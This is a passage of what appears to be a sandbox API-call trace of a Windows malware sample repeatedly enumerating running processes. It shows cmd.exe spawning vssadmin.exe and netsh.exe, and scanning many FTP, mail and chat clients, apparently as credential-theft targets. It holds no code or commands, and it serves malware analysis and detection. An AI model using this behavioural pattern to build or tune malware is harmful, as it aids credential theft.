lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xec0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0052.003] GetLastError () returned 0x12 [0052.003] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xec0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0052.004] GetLastError () returned 0x12 [0052.004] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x180, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0052.005] GetLastError () returned 0x12 [0052.005] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x180, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0052.006] GetLastError () returned 0x12 [0052.006] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xf24, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0052.007] GetLastError () returned 0x12 [0052.007] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xf2c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0052.007] GetLastError () returned 0x12 [0052.007] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0052.008] GetLastError () returned 0x12 [0052.008] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.009] GetLastError () returned 0x12 [0052.009] Process32NextW (in: hSnapshot=0x178, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0052.010] CloseHandle (hObject=0x178) returned 1 [0052.010] Sleep (dwMilliseconds=0x1f4) [0053.176] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x198 [0053.180] Process32FirstW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0053.181] GetLastError () returned 0x12 [0053.181] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0053.182] GetLastError () returned 0x12 [0053.182] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0053.182] GetLastError () returned 0x12 [0053.183] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0053.183] GetLastError () returned 0x12 [0053.183] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0053.184] GetLastError () returned 0x12 [0053.184] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0053.185] GetLastError () returned 0x12 [0053.185] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0053.185] GetLastError () returned 0x12 [0053.185] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0053.186] GetLastError () returned 0x12 [0053.186] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0053.187] GetLastError () returned 0x12 [0053.187] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0053.187] GetLastError () returned 0x12 [0053.188] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.188] GetLastError () returned 0x12 [0053.188] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.189] GetLastError () returned 0x12 [0053.189] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.190] GetLastError () returned 0x12 [0053.190] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.190] GetLastError () returned 0x12 [0053.190] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.191] GetLastError () returned 0x12 [0053.191] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.192] GetLastError () returned 0x12 [0053.192] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0053.192] GetLastError () returned 0x12 [0053.193] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.193] GetLastError () returned 0x12 [0053.194] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0053.194] GetLastError () returned 0x12 [0053.194] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0053.195] GetLastError () returned 0x12 [0053.195] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.196] GetLastError () returned 0x12 [0053.196] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0053.196] GetLastError () returned 0x12 [0053.196] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0053.197] GetLastError () returned 0x12 [0053.197] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x70c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0053.198] GetLastError () returned 0x12 [0053.198] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.198] GetLastError () returned 0x12 [0053.199] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0053.199] GetLastError () returned 0x12 [0053.199] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0053.200] GetLastError () returned 0x12 [0053.200] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0053.201] GetLastError () returned 0x12 [0053.201] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0053.201] GetLastError () returned 0x12 [0053.201] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0053.202] GetLastError () returned 0x12 [0053.202] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x49c, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0053.203] GetLastError () returned 0x12 [0053.203] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0053.203] GetLastError () returned 0x12 [0053.204] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="paper left.exe")) returned 1 [0053.204] GetLastError () returned 0x12 [0053.204] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="lead possible.exe")) returned 1 [0053.205] GetLastError () returned 0x12 [0053.205] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x968, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="store future.exe")) returned 1 [0053.206] GetLastError () returned 0x12 [0053.206] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="patient_coach_choose.exe")) returned 1 [0053.206] GetLastError () returned 0x12 [0053.206] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="bank_he.exe")) returned 1 [0053.207] GetLastError () returned 0x12 [0053.207] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="such_human.exe")) returned 1 [0053.208] GetLastError () returned 0x12 [0053.208] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="employee.exe")) returned 1 [0053.208] GetLastError () returned 0x12 [0053.209] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="music.exe")) returned 1 [0053.783] GetLastError () returned 0x12 [0053.783] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="societybitofficial.exe")) returned 1 [0053.784] GetLastError () returned 0x12 [0053.784] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="position_star.exe")) returned 1 [0053.785] GetLastError () returned 0x12 [0053.785] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="itself-material.exe")) returned 1 [0053.785] GetLastError () returned 0x12 [0053.785] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="homenothingbook.exe")) returned 1 [0053.786] GetLastError () returned 0x12 [0053.786] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="mean.exe")) returned 1 [0053.787] GetLastError () returned 0x12 [0053.787] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="problem-public-use.exe")) returned 1 [0053.788] GetLastError () returned 0x12 [0053.788] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0053.788] GetLastError () returned 0x12 [0053.788] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0053.789] GetLastError () returned 0x12 [0053.789] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0053.790] GetLastError () returned 0x12 [0053.790] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0053.791] GetLastError () returned 0x12 [0053.791] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0053.791] GetLastError () returned 0x12 [0053.791] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0053.792] GetLastError () returned 0x12 [0053.792] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0053.793] GetLastError () returned 0x12 [0053.793] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0053.794] GetLastError () returned 0x12 [0053.794] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0053.794] GetLastError () returned 0x12 [0053.794] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0053.795] GetLastError () returned 0x12 [0053.795] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0053.796] GetLastError () returned 0x12 [0053.796] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0053.796] GetLastError () returned 0x12 [0053.796] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0053.797] GetLastError () returned 0x12 [0053.797] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0053.798] GetLastError () returned 0x12 [0053.798] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0053.799] GetLastError () returned 0x12 [0053.799] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0053.800] GetLastError () returned 0x12 [0053.800] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0053.801] GetLastError () returned 0x12 [0053.801] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0053.802] GetLastError () returned 0x12 [0053.803] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0053.803] GetLastError () returned 0x12 [0053.803] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0053.804] GetLastError () returned 0x12 [0053.804] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0053.805] GetLastError () returned 0x12 [0053.806] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0053.806] GetLastError () returned 